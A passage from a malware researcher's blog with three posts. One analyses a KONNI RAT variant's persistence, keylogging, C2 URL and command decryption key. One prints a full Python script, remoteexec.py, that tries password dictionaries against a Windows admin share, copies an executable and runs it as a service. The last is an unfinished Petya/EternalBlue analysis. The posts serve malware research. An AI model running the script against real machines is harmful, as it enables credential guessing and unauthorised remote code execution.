<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhthS8leoWI0SWH_En9r7Gh6TV0YHdUBqqMyW2WMMsxOItJahSiag-_Hq9I8s77StUpo45vrTo00vMjuQNLo7qOPT_pNlhUkQDFoq-gv9My54H9LMUNIuWSBgcgPnHFzU9niSTymGeWLiQ/s1600/temp5+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="527" data-original-width="700" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhthS8leoWI0SWH_En9r7Gh6TV0YHdUBqqMyW2WMMsxOItJahSiag-_Hq9I8s77StUpo45vrTo00vMjuQNLo7qOPT_pNlhUkQDFoq-gv9My54H9LMUNIuWSBgcgPnHFzU9niSTymGeWLiQ/s640/temp5+%25281%2529.jpg" width="640" /></a></div>
<br />
<br />
PE file1: <a href="https://virustotal.com/es/file/290b1e2415f88fc3dd1d53db3ba90c4a760cf645526c8240af650751b1652b8a/analysis/">290b1e2415f88fc3dd1d53db3ba90c4a760cf645526c8240af650751b1652b8a</a><br />
<br />
PE file2: <a href="https://virustotal.com/es/file/8aef427aba54581f9c3dc923d8464a92b2d4e83cdf0fd6ace00e8035ee2936ad/analysis/">8aef427aba54581f9c3dc923d8464a92b2d4e83cdf0fd6ace00e8035ee2936ad</a><br />
<br />
PE files are packed with ASPack v2.12.<br />
<br />
We will analyze the 32 bit version.<br />
<br />
<br />
<h2>
RAT module</h2>
<br />
The 32 bits rat module is installed into this folder:<br />
<br />
<br />
C:\Users\<user>\AppData\Local\MFAData\event\errorevent.dll<br />
<br />
And the Run registry key is modified:<br />
<br />
<br />
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]<br />
“RTHDVCP”=”rundll32.exe C:\\Users\\javi\\AppData\\Local\\MFAData\\event\\errorevent.dll check”<br />
<br />
After removing the ASPack v2.12 layer, we take a look into the malware with IDA.<br />
<br />
The malware installs a windows hook and because of this, the errorevent.dll is loaded into machine’s running processes:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUx3QxOcsvH56j6ncDrV32gENEnNGucu13QVj3esD_23G_Fd_yl1IAhyP2lQrjiWKDI3RfM4iadL5ZKa1IgqvfRfVr4OA9le93bgeBTMc1XrzRvo-nUkDfV0R1kIaP_D4w0iaH6oqMbgE/s1600/temp6+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="213" data-original-width="679" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUx3QxOcsvH56j6ncDrV32gENEnNGucu13QVj3esD_23G_Fd_yl1IAhyP2lQrjiWKDI3RfM4iadL5ZKa1IgqvfRfVr4OA9le93bgeBTMc1XrzRvo-nUkDfV0R1kIaP_D4w0iaH6oqMbgE/s640/temp6+%25281%2529.jpg" width="640" /></a></div>
<br />
<br />
In the SetWindowsHookEx callback, it logs and queues keyboard events together with the window where they happened. Another thread analyzes the keyboard events, and it keeps to a file events happened in browser processes:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvo05FkRitYri0GeFmH2gFI4B1vNVm4MPtzwJVnpNI5qDMAkT0iDybsN3akQfXVBr-pLGxfb6PYM97e5AGGN4raRhqxtwwcss0E-swiWh7I_iLDfajrRkAR7E6kr894oc8BtI2D3m3vQM/s1600/temp8+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="467" data-original-width="665" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvo05FkRitYri0GeFmH2gFI4B1vNVm4MPtzwJVnpNI5qDMAkT0iDybsN3akQfXVBr-pLGxfb6PYM97e5AGGN4raRhqxtwwcss0E-swiWh7I_iLDfajrRkAR7E6kr894oc8BtI2D3m3vQM/s640/temp8+%25281%2529.jpg" width="640" /></a></div>
<br />
<br />
It checks these processes names:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDx38JO1-q0si61_b5PfmAIj6gEfJ5WpENvGJae4L8gwHGUY5HskKGjm0JzlNNHQs4xXuQXg4VAlfFycKnbc1ez8r6ec58HwcX2fS54BakAlSBN1Y8xefcdamUd6iSnbcHsWc0IUhZLc/s1600/temp7+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="700" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDx38JO1-q0si61_b5PfmAIj6gEfJ5WpENvGJae4L8gwHGUY5HskKGjm0JzlNNHQs4xXuQXg4VAlfFycKnbc1ez8r6ec58HwcX2fS54BakAlSBN1Y8xefcdamUd6iSnbcHsWc0IUhZLc/s640/temp7+%25281%2529.jpg" width="640" /></a></div>
<br />
<br />
Interesting keyboard events are logged to the file:<br />
<br />
<br />
C:\Users\<user>\AppData\Local\Packages\microsoft\debug.tmp<br />
<br />
Other files are used by the RAT in the process of managing commands:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLwJL4xwtz0aTU_A74pNfyiqa7rkNK_YUtr73Q5m_WBsSCdzlII4ImYEmizMkfocOiN8hQa-7skYChu-o8gWZ8UmEq7iFMNJlvug51qAIWNaYWwOSGA5VO37yU6OICNiez8F1vpl07vFQ/s1600/a1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="355" data-original-width="677" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLwJL4xwtz0aTU_A74pNfyiqa7rkNK_YUtr73Q5m_WBsSCdzlII4ImYEmizMkfocOiN8hQa-7skYChu-o8gWZ8UmEq7iFMNJlvug51qAIWNaYWwOSGA5VO37yU6OICNiez8F1vpl07vFQ/s640/a1.jpg" width="640" /></a></div>
<br />
<br />
Malware dll is injected into multiple processes. To monitor what malware files are created and written we can use this breakpoint with instructions (it is splitted in multiple lines for better reading):<br />
<br />
bp NtWriteFile -> when NtWriteFile hit, execute the next script<br />
“.foreach (tok { !handle (poi (esp+4)) }) -> search “Packages” in the path<br />
{<br />
.if ($spat(\”${tok}\”, \”*Packages*\”) != 0)<br />
{<br />
da (poi (esp+18));.break; -> if found, print the data written<br />
}<br />
};g;”<br />
<br />
<br />
<br />
bp NtWriteFile “.foreach (tok { !handle (poi (esp+4)) }) { .if ($spat(\”${tok}\”, \”*Packages*\”) != 0) { da (poi (esp+18));.break;}};g;”<br />
<br />
The other RAT functionality is executed under demand, as we will see it in the next section about communications.<br />
<br />
<br />
<h2>
Communications</h2>
<br />
The malware executes a thread for communications with the CnC. It asks for commands each 15 minutes. A file with commands is downloaded and parsed, and the commands are executed (and the results uploaded to the CnC):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGHsxovf1sVSEHtF_vP_J6sUIh9WGK_kuUZFK5WQbfanUM0Na_d3GYaKYurroyz8MpdYDGpLjOZ_X6yVSflen372j1tslD-HQ9hflo5_O3f18KNAI-oKIJzue_pwXPz3YHK3RfTJpcOWg/s1600/a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="431" data-original-width="700" height="394" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGHsxovf1sVSEHtF_vP_J6sUIh9WGK_kuUZFK5WQbfanUM0Na_d3GYaKYurroyz8MpdYDGpLjOZ_X6yVSflen372j1tslD-HQ9hflo5_O3f18KNAI-oKIJzue_pwXPz3YHK3RfTJpcOWg/s640/a.jpg" width="640" /></a></div>
<br />
<br />
The RAT calculates a value based on the installation time and infected computer info, and that value is used as bot_id to identify the current infected machine. In my case it generated CB5D234D.<br />
<br />
To download the commands it connects by http GET to:<br />
<br />
<br />
<a href="http://member-daumchk.netai.net/weget/download.php?file=CB5D234D_dropcom">http://member-daumchk.netai.net/weget/download.php?file=CB5D234D_dropcom</a><br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0bCKximF-112wVhU2m4YP4467Y5ay0OHc5uliqL6eHD7I92zg8AgK4pW2yMqk5LOVL2u6tpuhspz9VG7YorNDNi0jQY3cS35Y7UB_-6dSH4IkQnryi7l-YM9d9sMtpWc4ji7tWGR1dTQ/s1600/a8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="42" data-original-width="383" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0bCKximF-112wVhU2m4YP4467Y5ay0OHc5uliqL6eHD7I92zg8AgK4pW2yMqk5LOVL2u6tpuhspz9VG7YorNDNi0jQY3cS35Y7UB_-6dSH4IkQnryi7l-YM9d9sMtpWc4ji7tWGR1dTQ/s400/a8.jpg" width="400" /></a></div>
<br />
<br />
It is:<br />
<br />
<a href="http://%3Cdomain%3E/weget/download.php?file=%3Cbodid%3E_dropcom">http://<domain>/weget/download.php?file=<bodid>_dropcom</a><br />
<br />
This new variant uses wininet api to connect CnC (Talos analysis about the previous variant says the RAT was using winsock api connect, send, recv,… instead of http specified api):<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBlIfSMG7c5RRZ3rdwjS_Zmc5vVf3qhZ3NK2fVp8lZdl_BOLScMw5ii08OGM2l05Uo4ArZz4fGn6JQH0HJStah_I6rBTFNApZL5uFU7GQgeO-SvcrvSOUVO99PvAhyphenhyphenqdbzaUC_KI5c14w/s1600/a9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="738" data-original-width="519" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBlIfSMG7c5RRZ3rdwjS_Zmc5vVf3qhZ3NK2fVp8lZdl_BOLScMw5ii08OGM2l05Uo4ArZz4fGn6JQH0HJStah_I6rBTFNApZL5uFU7GQgeO-SvcrvSOUVO99PvAhyphenhyphenqdbzaUC_KI5c14w/s640/a9.jpg" width="450" /></a></div>
<br />
<br />
After downloading the commands they are decrypted (key “xzxzxz”) and parsed:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpeE43S-RTmVyV8TJ6xBb3AN_AVc61ZKCehS9FKDniz3nwW0tAvZSUwSsxsfjyviOjJTx0Q1cSKdSpSoMeQrw0ydoQeKMWa9n5W4_SrnM51ThJbrfp8D4n1wjocL2BiP2ayOQTsx1jIVU/s1600/a2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="348" data-original-width="342" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpeE43S-RTmVyV8TJ6xBb3AN_AVc61ZKCehS9FKDniz3nwW0tAvZSUwSsxsfjyviOjJTx0Q1cSKdSpSoMeQrw0ydoQeKMWa9n5W4_SrnM51ThJbrfp8D4n1wjocL2BiP2ayOQTsx1jIVU/s320/a2.jpg" width="314" /></a></div>
<br />
<br />
The decryption function:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig7tQiKI2FnN8hXkZr8FGDyerahO8VBID-7iYgjpJ5Elzrw5SBDT2mYfw4XTy4Ac0vdUW6iireXoe7qlyO2sakzSf2uPc8f7mGPtmHgSRL8z0l94sUQbWWsDfiCTj_vc1rDUT3L7NCzkU/s1600/a7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="506" data-original-width="700" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig7tQiKI2FnN8hXkZr8FGDyerahO8VBID-7iYgjpJ5Elzrw5SBDT2mYfw4XTy4Ac0vdUW6iireXoe7qlyO2sakzSf2uPc8f7mGPtmHgSRL8z0l94sUQbWWsDfiCTj_vc1rDUT3L7NCzkU/s640/a7.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br />
Seeing the communications code, it seems it would be not difficult to create a fake CnC to control a bot (not RSA keys or something like that are used to certify the command comes from the author).<br />
<br />
Once decrypted it starts to parse commands:<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQObqnmB9_1O-IgFXLGgLTsPmcbGYTTtO35hC9ZSZM4jsYOmQRYIuU14d_Pvzin1mvJwx3Hr5IbX-NZcdFlV0w0OqO0rXh59HyjUeYJCVmPwRSSGlB7KQOQNUlt6Ikv4JuTyGwg8Vi1Jk/s1600/a3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="159" data-original-width="700" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQObqnmB9_1O-IgFXLGgLTsPmcbGYTTtO35hC9ZSZM4jsYOmQRYIuU14d_Pvzin1mvJwx3Hr5IbX-NZcdFlV0w0OqO0rXh59HyjUeYJCVmPwRSSGlB7KQOQNUlt6Ikv4JuTyGwg8Vi1Jk/s640/a3.jpg" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgClxtxUVbWWaVFlsCegTkhyphenhyphenlxtqNdN0lxGwRUsZtgxS9dJ6fv6N17aCYCprB-t2WGg_SS0suYGRHZCKPPzc_73Kk-oUK-UeoAMJayI0J5fvnWdg_O4dqN1zoNi_I3Mh04Zv0Whmyf37x0/s1600/a5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="340" data-original-width="700" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgClxtxUVbWWaVFlsCegTkhyphenhyphenlxtqNdN0lxGwRUsZtgxS9dJ6fv6N17aCYCprB-t2WGg_SS0suYGRHZCKPPzc_73Kk-oUK-UeoAMJayI0J5fvnWdg_O4dqN1zoNi_I3Mh04Zv0Whmyf37x0/s640/a5.jpg" width="640" /></a></div>
<br />
<br />
<h2>
Command for collecting computer info</h2>
<br />
With this command the malware collects different information about the machine:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl7ob2Iw725MSMjPQSjT_IGT5F4rb23-yK9Cru-xDmgIL0rkWfmTwSf0v0b-lqXeSBB_NFCtzpDG6VxMrSK1JThtIT9w7a2jj71ZYF0JuvWXT9CczCtbwbMHsAI9TfVGVrYqcO-TzbE9Y/s1600/a4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1035" data-original-width="620" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl7ob2Iw725MSMjPQSjT_IGT5F4rb23-yK9Cru-xDmgIL0rkWfmTwSf0v0b-lqXeSBB_NFCtzpDG6VxMrSK1JThtIT9w7a2jj71ZYF0JuvWXT9CczCtbwbMHsAI9TfVGVrYqcO-TzbE9Y/s640/a4.jpg" width="382" /></a></div>
<br />
<br />
<br />
<h2>
Command for screen capturing</h2>
<br />
Capture of the screen it is done here:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBF1xnNc33vcMeiI1XufkDUamRS4pcNqbitiWyS8VT5s-Uw1E9LNcZUNAhIyOZKKzP7JG2UqeZ-SSdZZfgyY90daznSHeBS6CH4mh2zDxl7-5vt8uk-DzPoWyRufH0ds3o4Y-ae7hhq7Q/s1600/a6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="864" data-original-width="318" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBF1xnNc33vcMeiI1XufkDUamRS4pcNqbitiWyS8VT5s-Uw1E9LNcZUNAhIyOZKKzP7JG2UqeZ-SSdZZfgyY90daznSHeBS6CH4mh2zDxl7-5vt8uk-DzPoWyRufH0ds3o4Y-ae7hhq7Q/s640/a6.jpg" width="234" /></a></div>
<br />
<br />
<h2>
References</h2>
<div>
<br /></div>
<ul>
<li><a href="http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+(Talos+Blog)">New KONNI Campaign References North Korean Missile Capabilities</a></li>
<li><a href="http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html">KONNI: A Malware Under The Radar For Years</a></li>
<li><a href="https://otx.alienvault.com/pulse/595f5bdd6a52154a2872219f/">https://otx.alienvault.com/pulse/595f5bdd6a52154a2872219f/</a></li>
</ul>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-75830523404707240972017-07-05T12:50:00.000-07:002018-05-04T09:54:44.589-07:00Copy and execute file to remote machine like psexec with the Windows api<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
These days we have heard a lot about the new Petya (or NotPetya, EternalPetya, etc…) ransomware (or wiper). It propagates itself using the same exploit as WannaCry, eternalBlue. But the malware is using additional method to propagate itsefl. It enumerates local credentials and tries to login into remote machines with psexec for executing itself there. In this article I talk a bit about the Windows api that psexec is using for copying and executing files in a remote machine, and i share a PoC in python.</div>
<a name='more'></a><br />
All the information shared here is not new, it is all well documented Windows apis.<br />
<br />
If we take a quick look to psexec and we debug it a bit, we can see where are the main apis used for this purpose.<br />
<br />
For connection to a share we need WNetAddConnection2W:<br />
<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_eLJxNASaRKVc1b4fnywU-zhutuIRRfCqCVXL1i6b6sE8Dv5PxgByMrC1bP6mg-_nXBBnzQaH7mta_SJAdSP9jwfznaIeppqMAYh79XNLOZyrI7HAAPSuwHqN9pDl7cxoWdQYZFWhA4U/s1600/temp3+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="457" data-original-width="428" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_eLJxNASaRKVc1b4fnywU-zhutuIRRfCqCVXL1i6b6sE8Dv5PxgByMrC1bP6mg-_nXBBnzQaH7mta_SJAdSP9jwfznaIeppqMAYh79XNLOZyrI7HAAPSuwHqN9pDl7cxoWdQYZFWhA4U/s640/temp3+%25281%2529.jpg" width="598" /></a></div>
<br />
<span style="color: #686868; font-family: "open sans" , sans-serif;"><span style="background-color: white; height: auto;"></span></span><br />
<div>
<span style="color: #686868; font-family: "open sans" , sans-serif;"><br /></span>
For create a remote service. Open SC Manager:<br />
<br /></div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomL1bs8iH0gawJN19_nfNe_2B5zu-c96SRpdYWPur96q0B_XXbrxlRzGTvyLyIx2RujcjfDM9Reg1Ggx0r4sci55j6g_Imi76cxxbO-qqfxm-Fcz4TEvCmvK_c5PZaCHM-zTNOKUwUSA/s1600/temp+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="108" data-original-width="674" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomL1bs8iH0gawJN19_nfNe_2B5zu-c96SRpdYWPur96q0B_XXbrxlRzGTvyLyIx2RujcjfDM9Reg1Ggx0r4sci55j6g_Imi76cxxbO-qqfxm-Fcz4TEvCmvK_c5PZaCHM-zTNOKUwUSA/s640/temp+%25281%2529.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
Create the service:</div>
<div>
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgetn7UnmL9q8K6vi_Un8vvqL6Q66yh5kadkYP7UduO0ZOkffrdaPzFUHLytRemSgL3o-8cBgHqylogC5rp9c-DxDehGFfFtzsQz3irZ_UZ3Il6_-d9RdEo6wHGQC_LAOl6Q72yqsMYMIg/s1600/temp1+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="688" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgetn7UnmL9q8K6vi_Un8vvqL6Q66yh5kadkYP7UduO0ZOkffrdaPzFUHLytRemSgL3o-8cBgHqylogC5rp9c-DxDehGFfFtzsQz3irZ_UZ3Il6_-d9RdEo6wHGQC_LAOl6Q72yqsMYMIg/s640/temp1+%25281%2529.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
And start it:<br />
<br /></div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvNqEbr5kmmEVWyhQBo7fCpPzrYtyHM-OgFBHxamYZXgdAZZ3EzwtOyCpqruCjileFHx00DLZOs4jwn3pgZpHureMpD48PVKdGHvGC2rTQnjTXRnws3gMssi4LoG_ToWG7Uz5N6bP-sc/s1600/temp2+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="93" data-original-width="501" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvNqEbr5kmmEVWyhQBo7fCpPzrYtyHM-OgFBHxamYZXgdAZZ3EzwtOyCpqruCjileFHx00DLZOs4jwn3pgZpHureMpD48PVKdGHvGC2rTQnjTXRnws3gMssi4LoG_ToWG7Uz5N6bP-sc/s640/temp2+%25281%2529.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
here you can find a python source code for connecting a remote machine, copy a source executable, and create a service in the remote machine to run the copied executable:<br />
<br />
<a href="https://github.com/vallejocc/PoC/blob/master/remoteexec/remoteexec.py">https://github.com/vallejocc/PoC/blob/master/remoteexec/remoteexec.py</a></div>
<div>
<br />
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">#
# Author: Javier Vicente Vallejo, @vallejocc, http://www.vallejo.cc
#
# With this script it is possible to connect a remote machine, copy an executable and execute remotely the copied executable.
#
# Parameters:
#
# python remoteexec.py <ip target machine> <username | path to dictionary> <password | path to dictionary> <path to exe>
#
# If username is a path to a file, file lines are used as usernames (the script will try all the usernames. If it is not a file, the parameter is used as username.
# With password is the same behaviour, if password is a path to a file, file lines are used as passwords (the script will try all the passwords for all usernames). If it is not a file, the parameter is used as password.
#
import sys
import os
from win32wnet import WNetAddConnection2, WNetCancelConnection2, NETRESOURCE
from win32service import CreateService, OpenSCManager, CloseServiceHandle, StartService, OpenService
import shutil
import time
import win32api
############################################################
def get_used_drive_letters():
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
letters = [d[0] for d in drives]
return letters
def get_unused_drive_letters():
alphabet = map(chr, range(ord('A'), ord('Z')+1))
used = get_used_drive_letters()
unused = list(set(alphabet)-set(used))
return unused
def get_highest_unused_drive_letter():
unused = get_unused_drive_letters()
highest = list(reversed(sorted(unused)))[0]
return highest
############################################################
def dowork(paramtarget, paramusername, parampassword, paramsrcexe):
localdrv = get_highest_unused_drive_letter()
if not localdrv: return
localdrv = localdrv + ":"
print "Using localdrv %s" % localdrv
resource = NETRESOURCE()
resource.lpRemoteName = r'\\%s\c$' % paramtarget
resource.lpLocalName = localdrv
username = paramusername
password = parampassword
print resource.lpRemoteName
print resource.lpLocalName
res = WNetAddConnection2(resource, Password=password, UserName=username)
try:shutil.copy(paramsrcexe, "%s\\windows\\system32\\mysvc.exe" % localdrv)
except:pass
try:scman = OpenSCManager(paramtarget, None, 0xF003F)
except:return
SERVICE_WIN32_OWN_PROCESS = 0x10
SERVICE_DEMAND_START = 0x3
SERVICE_ERROR_IGNORE = 0x0
try:hsrv = CreateService(scman, "MYSVC", "MYSVC", 0xF01FF, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, "c:\\windows\\system32\\mysvc.exe", None, 0, None, None, None)
except:hsrv = OpenService(scman, "MYSVC", 0xF01FF)
try:StartService(hsrv, [""])
except:pass
try:CloseServiceHandle(hsrv)
except:pass
WNetCancelConnection2(localdrv, 0, 0)
############################################################
lusers = []
lpasswords = []
if os.path.isfile(sys.argv[2]):
f = open(sys.argv[2], "r")
lusers = map(str.strip, f.readlines())
f.close()
else:
lusers.append(sys.argv[2])
if os.path.isfile(sys.argv[3]):
f = open(sys.argv[3], "r")
lpasswords = map(str.strip, f.readlines())
f.close()
else:
lpasswords.append(sys.argv[3])
for u in lusers:
for p in lpasswords:
try:
print "Trying %s %s" % (u, p)
dowork(sys.argv[1], u, p, sys.argv[4])
except:
pass</pre>
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-63062324640090850412017-06-27T10:28:00.000-07:002018-05-04T09:58:36.422-07:00Petya ransomware + EternalBlueIn this short post i want to share a first quick reversing of petya+eternalblue dll, md5: 3936bda83b590512fa2cfef8acf6c294. It is a first look at it, i hope the information here it is correct.<br />
<br />
<a name='more'></a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrydu32TyxXRUsfeyL5adKCaU9D_iCMNF1hldo_Y7m20zv8EPb5vP5jxk0rVGUay0DVst0Vp8dNhAA4ThHSeXNATOkRrqHnbAH8vvLiviC8E_DTwdLi7AfDK-Tj7vcwmNh9bsYK4ZnwhE/s1600/temp23.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="412" data-original-width="700" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrydu32TyxXRUsfeyL5adKCaU9D_iCMNF1hldo_Y7m20zv8EPb5vP5jxk0rVGUay0DVst0Vp8dNhAA4ThHSeXNATOkRrqHnbAH8vvLiviC8E_DTwdLi7AfDK-Tj7vcwmNh9bsYK4ZnwhE/s640/temp23.jpg" width="640" /></a></div>
<br />
<br />
<br />
It seems there is a bit of confussion about Petya propagation. From my point of view it is using eternalBlue exploit:<br />
<br />
Here it is the point where Petya is creating the SMB attack:<br />
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2OnyXq9XJS8ftpnhzYx2HGvUFOCNFlZKKp6Azwes1E3vztpOsku188WM0T-sTKy8Ow75dQp7UEaOP0vTPdr6bq2Rssp8bcBl3Z6w6hyphenhyphenB9dO0KaFG_kuQk4PdUmzQv8xK8B_hCtlZSj94/s1600/temp18.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="379" data-original-width="700" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2OnyXq9XJS8ftpnhzYx2HGvUFOCNFlZKKp6Azwes1E3vztpOsku188WM0T-sTKy8Ow75dQp7UEaOP0vTPdr6bq2Rssp8bcBl3Z6w6hyphenhyphenB9dO0KaFG_kuQk4PdUmzQv8xK8B_hCtlZSj94/s640/temp18.jpg" width="640" /></a></div>
<br />
<br />
<br />
If you search exploits available on internet you can find similarities, for example:<br />
<br />
<a href="https://github.com/worawit/MS17-010/blob/master/eternalblue_exploit7.py">https://github.com/worawit/MS17-010/blob/master/eternalblue_exploit7.py</a><br />
<br />
<br />
At this point the malware is decrypting the shellcode:<br />
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
